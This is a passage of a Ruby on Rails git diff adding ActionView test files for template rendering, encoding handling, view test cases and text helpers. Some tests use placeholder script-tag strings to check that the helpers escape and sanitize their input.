+ assert_equal %W[ foo bar baz ], error.backtrace
+ end
+
+ def test_provides_useful_inspect
+ error = ActionView::Template::Error.new("test", Exception.new("original"))
+ assert_equal "#<ActionView::Template::Error: original>", error.inspect
+ end
+end
diff --git a/actionview/test/template/template_test.rb b/actionview/test/template/template_test.rb
new file mode 100644
index 0000000000..c94508d678
--- /dev/null
+++ b/actionview/test/template/template_test.rb
@@ -0,0 +1,200 @@
+# encoding: US-ASCII
+require "abstract_unit"
+require "logger"
+
+class TestERBTemplate < ActiveSupport::TestCase
+ ERBHandler = ActionView::Template::Handlers::ERB.new
+
+ class LookupContext
+ def disable_cache
+ yield
+ end
+
+ def find_template(*args)
+ end
+
+ attr_accessor :formats
+ end
+
+ class Context
+ def initialize
+ @output_buffer = "original"
+ @virtual_path = nil
+ end
+
+ def hello
+ "Hello"
+ end
+
+ def apostrophe
+ "l'apostrophe"
+ end
+
+ def partial
+ ActionView::Template.new(
+ "<%= @virtual_path %>",
+ "partial",
+ ERBHandler,
+ :virtual_path => "partial"
+ )
+ end
+
+ def lookup_context
+ @lookup_context ||= LookupContext.new
+ end
+
+ def logger
+ ActiveSupport::Logger.new(STDERR)
+ end
+
+ def my_buffer
+ @output_buffer
+ end
+ end
+
+ def new_template(body = "<%= hello %>", details = { format: :html })
+ ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
+ end
+
+ def render(locals = {})
+ @template.render(@context, locals)
+ end
+
+ def setup
+ @context = Context.new
+ end
+
+ def test_basic_template
+ @template = new_template
+ assert_equal "Hello", render
+ end
+
+ def test_basic_template_does_html_escape
+ @template = new_template("<%= apostrophe %>")
+ assert_equal "l&#39;apostrophe", render
+ end
+
+ def test_text_template_does_not_html_escape
+ @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
+ assert_equal "l'apostrophe l'apostrophe", render
+ end
+
+ def test_raw_template
+ @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
+ assert_equal "<%= hello %>", render
+ end
+
+ def test_template_loses_its_source_after_rendering
+ @template = new_template
+ render
+ assert_nil @template.source
+ end
+
+ def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
+ @template = new_template("Hello", :virtual_path => nil)
+ render
+ assert_equal "Hello", @template.source
+ end
+
+ def test_locals
+ @template = new_template("<%= my_local %>")
+ @template.locals = [:my_local]
+ assert_equal "I am a local", render(:my_local => "I am a local")
+ end
+
+ def test_restores_buffer
+ @template = new_template
+ assert_equal "Hello", render
+ assert_equal "original", @context.my_buffer
+ end
+
+ def test_virtual_path
+ @template = new_template("<%= @virtual_path %>" \
+ "<%= partial.render(self, {}) %>" \
+ "<%= @virtual_path %>")
+ assert_equal "hellopartialhello", render
+ end
+
+ def test_refresh_with_templates
+ @template = new_template("Hello", :virtual_path => "test/foo/bar")
+ @template.locals = [:key]
+ @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template")
+ assert_equal "template", @template.refresh(@context)
+ end
+
+ def test_refresh_with_partials
+ @template = new_template("Hello", :virtual_path => "test/_foo")
+ @template.locals = [:key]
+ @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial")
+ assert_equal "partial", @template.refresh(@context)
+ end
+
+ def test_refresh_raises_an_error_without_virtual_path
+ @template = new_template("Hello", :virtual_path => nil)
+ assert_raise RuntimeError do
+ @template.refresh(@context)
+ end
+ end
+
+ def test_resulting_string_is_utf8
+ @template = new_template
+ assert_equal Encoding::UTF_8, render.encoding
+ end
+
+ def test_no_magic_comment_word_with_utf_8
+ @template = new_template("hello \u{fc}mlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+
+ # This test ensures that if the default_external
+ # is set to something other than UTF-8, we don't
+ # get any errors and get back a UTF-8 String.
+ def test_default_external_works
+ with_external_encoding "ISO-8859-1" do
+ @template = new_template("hello \xFCmlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+ end
+
+ def test_encoding_can_be_specified_with_magic_comment
+ @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "\nhello \u{fc}mlat", render
+ end
+
+ # TODO: This is currently handled inside ERB. The case of explicitly
+ # lying about encodings via the normal Rails API should be handled
+ # inside Rails.
+ def test_lying_with_magic_comment
+ assert_raises(ActionView::Template::Error) do
+ @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
+ render
+ end
+ end
+
+ def test_encoding_can_be_specified_with_magic_comment_in_erb
+ with_external_encoding Encoding::UTF_8 do
+ @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
+ assert_equal Encoding::UTF_8, render.encoding
+ assert_equal "hello \u{fc}mlat", render
+ end
+ end
+
+ def test_error_when_template_isnt_valid_utf8
+ assert_raises(ActionView::Template::Error, /\xFC/) do
+ @template = new_template("hello \xFCmlat", :virtual_path => nil)
+ render
+ end
+ end
+
+ def with_external_encoding(encoding)
+ old = Encoding.default_external
+ Encoding::Converter.new old, encoding if old != encoding
+ silence_warnings { Encoding.default_external = encoding }
+ yield
+ ensure
+ silence_warnings { Encoding.default_external = old }
+ end
+end
diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb
new file mode 100644
index 0000000000..5ad1938b61
--- /dev/null
+++ b/actionview/test/template/test_case_test.rb
@@ -0,0 +1,378 @@
+require 'abstract_unit'
+require 'rails/engine'
+
+module ActionView
+
+ module ATestHelper
+ end
+
+ module AnotherTestHelper
+ def from_another_helper
+ 'Howdy!'
+ end
+ end
+
+ module ASharedTestHelper
+ def from_shared_helper
+ 'Holla!'
+ end
+ end
+
+ class TestCase
+ helper ASharedTestHelper
+
+ module SharedTests
+ def self.included(test_case)
+ test_case.class_eval do
+ test "helpers defined on ActionView::TestCase are available" do
+ assert test_case.ancestors.include?(ASharedTestHelper)
+ assert_equal 'Holla!', from_shared_helper
+ end
+ end
+ end
+ end
+ end
+
+ class GeneralViewTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ test "memoizes the view" do
+ assert_same view, view
+ end
+
+ test "exposes view as _view for backwards compatibility" do
+ assert_same _view, view
+ end
+
+ test "retrieve non existing config values" do
+ assert_equal nil, ActionView::Base.new.config.something_odd
+ end
+
+ test "works without testing a helper module" do
+ assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+ end
+
+ test "can render a layout with block" do
+ assert_equal "Before (ChrisCruft)\n!\nAfter",
+ render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
+ end
+
+ helper AnotherTestHelper
+ test "additional helper classes can be specified as in a controller" do
+ assert test_case.ancestors.include?(AnotherTestHelper)
+ assert_equal 'Howdy!', from_another_helper
+ end
+
+ test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
+ assert_nil self.class.determine_default_helper_class("String")
+ end
+
+ test "delegates notice to request.flash[:notice]" do
+ view.request.flash.expects(:[]).with(:notice)
+ view.notice
+ end
+
+ test "delegates alert to request.flash[:alert]" do
+ view.request.flash.expects(:[]).with(:alert)
+ view.alert
+ end
+
+ test "uses controller lookup context" do
+ assert_equal self.lookup_context, @controller.lookup_context
+ end
+ end
+
+ class ClassMethodsTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ tests ATestHelper
+ test "tests the specified helper module" do
+ assert_equal ATestHelper, test_case.helper_class
+ assert test_case.ancestors.include?(ATestHelper)
+ end
+
+ helper AnotherTestHelper
+ test "additional helper classes can be specified as in a controller" do
+ assert test_case.ancestors.include?(AnotherTestHelper)
+ assert_equal 'Howdy!', from_another_helper
+
+ test_case.helper_class.module_eval do
+ def render_from_helper
+ from_another_helper
+ end
+ end
+ assert_equal 'Howdy!', render(:partial => 'test/from_helper')
+ end
+ end
+
+ class HelperInclusionTest < ActionView::TestCase
+ module RenderHelper
+ def render_from_helper
+ render :partial => 'customer', :collection => @customers
+ end
+ end
+
+ helper RenderHelper
+
+ test "helper class that is being tested is always included in view instance" do
+ @controller.controller_path = 'test'
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper'))
+ end
+ end
+
+ class ControllerHelperMethod < ActionView::TestCase
+ module SomeHelper
+ def some_method
+ render :partial => 'test/from_helper'
+ end
+ end
+
+ helper SomeHelper
+
+ test "can call a helper method defined on the current controller from a helper" do
+ @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
+ def render_from_helper
+ 'controller_helper_method'
+ end
+ EOF
+ @controller.class.helper_method :render_from_helper
+
+ assert_equal 'controller_helper_method', some_method
+ end
+ end
+
+ class ViewAssignsTest < ActionView::TestCase
+ test "view_assigns returns a Hash of user defined ivars" do
+ @a = 'b'
+ @c = 'd'
+ assert_equal({:a => 'b', :c => 'd'}, view_assigns)
+ end
+
+ test "view_assigns excludes internal ivars" do
+ INTERNAL_IVARS.each do |ivar|
+ assert defined?(ivar), "expected #{ivar} to be defined"
+ assert !view_assigns.keys.include?(ivar.to_s.tr('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
+ end
+ end
+ end
+
+ class HelperExposureTest < ActionView::TestCase
+ helper(Module.new do
+ def render_from_helper
+ from_test_case
+ end
+ end)
+ test "is able to make methods available to the view" do
+ assert_equal 'Word!', render(:partial => 'test/from_helper')
+ end
+
+ def from_test_case; 'Word!'; end
+ helper_method :from_test_case
+ end
+
+ class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
+ module HelperThatInvokesProtectAgainstForgery
+ def help_me
+ protect_against_forgery?
+ end
+ end
+
+ helper HelperThatInvokesProtectAgainstForgery
+
+ test "protect_from_forgery? in any helpers returns false" do
+ assert !view.help_me
+ end
+
+ end
+
+ class ATestHelperTest < ActionView::TestCase
+ include SharedTests
+ test_case = self
+
+ test "inflects the name of the helper module to test from the test case class" do
+ assert_equal ATestHelper, test_case.helper_class
+ assert test_case.ancestors.include?(ATestHelper)
+ end
+
+ test "a configured test controller is available" do
+ assert_kind_of ActionController::Base, controller
+ assert_equal '', controller.controller_path
+ end
+
+ test "no additional helpers should shared across test cases" do
+ assert !test_case.ancestors.include?(AnotherTestHelper)
+ assert_raise(NoMethodError) { send :from_another_helper }
+ end
+
+ test "is able to use routes" do
+ controller.request.assign_parameters(@routes, 'foo', 'index')
+ assert_equal '/foo', url_for
+ assert_equal '/bar', url_for(:controller => 'bar')
+ end
+
+ test "is able to use named routes" do
+ with_routing do |set|
+ set.draw { resources :contents }
+ assert_equal 'http://test.host/contents/new', new_content_url
+ assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+ end
+ end
+
+ test "is able to use mounted routes" do
+ with_routing do |set|
+ app = Class.new(Rails::Engine) do
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ routes.draw { get "bar", :to => lambda {} }
+
+ def self.call(*)
+ end
+ end
+
+ set.draw { mount app => "/foo", :as => "foo_app" }
+
+ assert_equal '/foo/bar', foo_app.bar_path
+ end
+ end
+
+ test "named routes can be used from helper included in view" do
+ with_routing do |set|
+ set.draw { resources :contents }
+ _helpers.module_eval do
+ def render_from_helper
+ new_content_url
+ end
+ end
+
+ assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
+ end
+ end
+
+ test "is able to render partials with local variables" do
+ assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+ assert_equal 'Eloy', render(:partial => 'developers/developer',
+ :locals => { :developer => stub(:name => 'Eloy') })
+ end
+
+ test "is able to render partials from templates and also use instance variables" do
+ @controller.controller_path = "test"
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+ end
+
+ test "is able to render partials from templates and also use instance variables after view has been referenced" do
+ @controller.controller_path = "test"
+
+ view
+
+ @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+ assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+ end
+
+ end
+
+ class AssertionsTest < ActionView::TestCase
+ def render_from_helper
+ form_tag('/foo') do
+ safe_concat render(:text => '<ul><li>foo</li></ul>')
+ end
+ end
+ helper_method :render_from_helper
+
+ test "uses the output_buffer for assert_select" do
+ render(:partial => 'test/from_helper')
+
+ assert_select 'form' do
+ assert_select 'li', :text => 'foo'
+ end
+ end
+
+ test "do not memoize the document_root_element in view tests" do
+ concat form_tag('/foo')
+
+ assert_select 'form'
+
+ concat content_tag(:b, 'Strong', class: 'foo')
+
+ assert_select 'form'
+ assert_select 'b.foo'
+ end
+ end
+
+ class RenderTemplateTest < ActionView::TestCase
+ test "supports specifying templates with a Regexp" do
+ controller.controller_path = "fun"
+ render(:template => "fun/games/hello_world")
+ assert_template %r{\Afun/games/hello_world\Z}
+ end
+
+ test "supports specifying partials" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_template :partial => "_partial_for_use_in_layout"
+ end
+
+ test "supports specifying locals (passing)" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" }
+ end
+
+ test "supports specifying locals (failing)" do
+ controller.controller_path = "test"
+ render(:template => "test/calling_partial_with_layout")
+ assert_raise ActiveSupport::TestCase::Assertion, /Somebody else.*David/m do
+ assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" }
+ end
+ end
+
+ test 'supports different locals on the same partial' do
+ controller.controller_path = "test"
+ render(:template => "test/render_two_partials")
+ assert_template partial: '_partial', locals: { 'first' => '1' }
+ assert_template partial: '_partial', locals: { 'second' => '2' }
+ end
+
+ test 'raises descriptive error message when template was not rendered' do
+ controller.controller_path = "test"
+ render(template: "test/hello_world_with_partial")
+ e = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_template partial: 'i_was_never_rendered', locals: { 'did_not' => 'happen' }
+ end
+ assert_match "i_was_never_rendered to be rendered but it was not.", e.message
+ assert_match 'Expected ["/test/partial"] to include "i_was_never_rendered"', e.message
+ end
+
+ test 'specifying locals works when the partial is inside a directory with underline prefix' do
+ controller.controller_path = "test"
+ render(template: 'test/render_partial_inside_directory')
+ assert_template partial: 'test/_directory/_partial_with_locales', locals: { 'name' => 'Jane' }
+ end
+
+ test 'specifying locals works when the partial is inside a directory without underline prefix' do
+ controller.controller_path = "test"
+ render(template: 'test/render_partial_inside_directory')
+ assert_template partial: 'test/_directory/partial_with_locales', locals: { 'name' => 'Jane' }
+ end
+ end
+
+ module AHelperWithInitialize
+ def initialize(*)
+ super
+ @called_initialize = true
+ end
+ end
+
+ class AHelperWithInitializeTest < ActionView::TestCase
+ test "the helper's initialize was actually called" do
+ assert @called_initialize
+ end
+ end
+end
diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb
new file mode 100644
index 0000000000..88bac85039
--- /dev/null
+++ b/actionview/test/template/test_test.rb
@@ -0,0 +1,92 @@
+require 'abstract_unit'
+
+module PeopleHelper
+ def title(text)
+ content_tag(:h1, text)
+ end
+
+ def homepage_path
+ people_path
+ end
+
+ def homepage_url
+ people_url
+ end
+
+ def link_to_person(person)
+ link_to person.name, person
+ end
+end
+
+class PeopleHelperTest < ActionView::TestCase
+ def test_title
+ assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
+ end
+
+ def test_homepage_path
+ with_test_route_set do
+ assert_equal "/people", homepage_path
+ end
+ end
+
+ def test_homepage_url
+ with_test_route_set do
+ assert_equal "http://test.host/people", homepage_url
+ end
+ end
+
+ def test_link_to_person
+ with_test_route_set do
+ person = Struct.new(:name) {
+ extend ActiveModel::Naming
+ def to_model; self; end
+ def persisted?; true; end
+ def self.name; 'Mocha::Mock'; end
+ }.new "David"
+
+ the_model = nil
+ extend Module.new {
+ define_method(:mocha_mock_path) { |model, *args|
+ the_model = model
+ "/people/1"
+ }
+ }
+ assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+ assert_equal person, the_model
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get 'people', :to => 'people#index', :as => :people
+ end
+ yield
+ end
+ end
+end
+
+class CrazyHelperTest < ActionView::TestCase
+ tests PeopleHelper
+
+ def test_helper_class_can_be_set_manually_not_just_inferred
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+class CrazySymbolHelperTest < ActionView::TestCase
+ tests :people
+
+ def test_set_helper_class_using_symbol
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
+
+class CrazyStringHelperTest < ActionView::TestCase
+ tests 'people'
+
+ def test_set_helper_class_using_string
+ assert_equal PeopleHelper, self.class.helper_class
+ end
+end
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
new file mode 100644
index 0000000000..d6cfa997cd
--- /dev/null
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -0,0 +1,18 @@
+require 'abstract_unit'
+
+class FixtureResolverTest < ActiveSupport::TestCase
+ def test_should_return_empty_list_for_unknown_path
+ resolver = ActionView::FixtureResolver.new()
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
+ assert_equal [], templates, "expected an empty list of templates"
+ end
+
+ def test_should_return_template_for_declared_path
+ resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
+ assert_equal 1, templates.size, "expected one template"
+ assert_equal "this text", templates.first.source
+ assert_equal "arbitrary/path", templates.first.virtual_path
+ assert_equal [:html], templates.first.formats
+ end
+end
diff --git a/actionpack/test/template/testing/null_resolver_test.rb b/actionview/test/template/testing/null_resolver_test.rb
index 55ec36e753..55ec36e753 100644
--- a/actionpack/test/template/testing/null_resolver_test.rb
+++ b/actionview/test/template/testing/null_resolver_test.rb
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
new file mode 100644
index 0000000000..f05b845e46
--- /dev/null
+++ b/actionview/test/template/text_helper_test.rb
@@ -0,0 +1,510 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class TextHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::TextHelper
+
+ def setup
+ super
+ # This simulates the fact that instance variables are reset every time
+ # a view is rendered. The cycle helper depends on this behavior.
+ @_cycles = nil if (defined? @_cycles)
+ end
+
+ def test_concat
+ self.output_buffer = 'foo'
+ assert_equal 'foobar', concat('bar')
+ assert_equal 'foobar', output_buffer
+ end
+
+ def test_simple_format_should_be_html_safe
+ assert simple_format("<b> test with html tags </b>").html_safe?
+ end
+
+ def test_simple_format_included_in_isolation
+ helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+ assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+ end
+
+ def test_simple_format
+ assert_equal "<p></p>", simple_format(nil)
+
+ assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+ assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
+ assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
+
+ text = "A\nB\nC\nD".freeze
+ assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
+
+ text = "A\r\n \nB\n\n\r\n\t\nC\nD".freeze
+ assert_equal "<p>A\n<br /> \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
+
+ assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
+ assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
+ end
+
+ def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
+ assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
+ end
+
+ def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
+ assert_equal '<p><b> test with unsafe string </b></p>',
+ simple_format('<b> test with unsafe string </b><script>code!</script>', {}, sanitize: true)
+ end
+
+ def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
+ assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
+ end
+
+ def test_simple_format_with_custom_wrapper
+ assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
+ end
+
+ def test_simple_format_with_custom_wrapper_and_multi_line_breaks
+ assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
+ end
+
+ def test_simple_format_should_not_change_the_text_passed
+ text = "<b>Ok</b><script>code!</script>"
+ text_clone = text.dup
+ simple_format(text)
+ assert_equal text_clone, text
+ end
+
+ def test_simple_format_does_not_modify_the_html_options_hash
+ options = { :class => "foobar"}
+ passed_options = options.dup
+ simple_format("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_simple_format_does_not_modify_the_options_hash
+ options = { :wrapper_tag => :div, :sanitize => false }
+ passed_options = options.dup
+ simple_format("some text", {}, passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_truncate
+ assert_equal "Hello World!", truncate("Hello World!", :length => 12)
+ assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
+ end
+
+ def test_truncate_should_use_default_length_of_30
+ str = "This is a string that will go longer then the default truncate length of 30"
+ assert_equal str[0...27] + "...", truncate(str)
+ end
+
+ def test_truncate_with_options_hash
+ assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
+ assert_equal "Hello W...", truncate("Hello World!", :length => 10)
+ assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
+ assert_equal "Hello[...]", truncate("Hello Big World!", :omission => "[...]", :length => 13, :separator => ' ')
+ assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 14, :separator => ' ')
+ assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
+ end
+
+ def test_truncate_multibyte
+ assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
+ truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8), :length => 10)
+ end
+
+ def test_truncate_does_not_modify_the_options_hash
+ options = { :length => 10 }
+ passed_options = options.dup
+ truncate("some text", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_truncate_with_link_options
+ assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
+ truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_should_be_html_safe
+ assert truncate("Hello World!", :length => 12).html_safe?
+ end
+
+ def test_truncate_should_escape_the_input
+ assert_equal "Hello &lt;sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
+ end
+
+ def test_truncate_should_not_escape_the_input_with_escape_false
+ assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+ end
+
+ def test_truncate_with_escape_false_should_be_html_safe
+ truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_be_html_safe
+ truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_escape_the_input
+ assert_equal "&lt;script&gt;code!&lt;/script&gt;He...<a href=\"#\">Continue</a>",
+ truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_with_block_should_not_escape_the_input_with_escape_false
+ assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+ truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+ end
+
+ def test_truncate_with_block_with_escape_false_should_be_html_safe
+ truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+ assert truncated.html_safe?
+ end
+
+ def test_truncate_with_block_should_escape_the_block
+ assert_equal "Here is a long test and ...&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;",
+ truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
+ end
+
+ def test_highlight_should_be_html_safe
+ assert highlight("This is a beautiful morning", "beautiful").html_safe?
+ end
+
+ def test_highlight
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning",
+ highlight("This is a beautiful morning", "beautiful")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
+ highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
+ )
+
+ assert_equal(
+ "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+ highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
+ )
+
+ assert_equal(
+ "This text is not changed because we supplied an empty phrase",
+ highlight("This text is not changed because we supplied an empty phrase", nil)
+ )
+ end
+
+ def test_highlight_pending
+ assert_equal ' ', highlight(' ', 'blank text is returned verbatim')
+ end
+
+ def test_highlight_should_return_blank_string_for_nil
+ assert_equal '', highlight(nil, 'blank string is returned for nil')
+ end
+
+ def test_highlight_should_sanitize_input
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning",
+ highlight("This is a beautiful morning<script>code!</script>", "beautiful")
+ )
+ end
+
+ def test_highlight_should_not_sanitize_if_sanitize_option_if_false
+ assert_equal(
+ "This is a <mark>beautiful</mark> morning<script>code!</script>",
+ highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
+ )
+ end
+
+ def test_highlight_with_regexp
+ assert_equal(
+ "This is a <mark>beautiful!</mark> morning",
+ highlight("This is a beautiful! morning", "beautiful!")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful! morning</mark>",
+ highlight("This is a beautiful! morning", "beautiful! morning")
+ )
+
+ assert_equal(
+ "This is a <mark>beautiful? morning</mark>",
+ highlight("This is a beautiful? morning", "beautiful? morning")
+ )
+ end
+
+ def test_highlight_accepts_regexp
+ assert_equal("This day was challenging for judge <mark>Allen</mark> and his colleagues.",
+ highlight("This day was challenging for judge Allen and his colleagues.", /\ballen\b/i))
+ end
+
+ def test_highlight_with_multiple_phrases_in_one_pass
+ assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
+ end
+
+ def test_highlight_with_html
+ assert_equal(
+ "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
+ highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
+ )
+ assert_equal(
+ "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
+ highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
+ )
+ assert_equal(
+ "<div>abc <b>div</b></div>",
+ highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
+ )
+ end
+
+ def test_highlight_does_not_modify_the_options_hash
+ options = { :highlighter => '<b>\1</b>', :sanitize => false }
+ passed_options = options.dup
+ highlight("<div>abc div</div>", "div", passed_options)
+ assert_equal options, passed_options
+ end
+
+ def test_highlight_with_block
+ assert_equal(
+ "<b>one</b> <b>two</b> <b>three</b>",
+ highlight("one two three", ["one", "two", "three"]) { |word| "<b>#{word}</b>" }
+ )
+ end
+
+ def test_excerpt
+ assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+ assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
+ assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
+ assert_nil excerpt("This is a beautiful morning", "day")
+ end
+
+ def test_excerpt_with_regex
+ assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
+ assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
+ assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', /\bbeau\w*\b/i, :radius => 5))
+ assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', /\b(beau\w*)\b/i, :radius => 5))
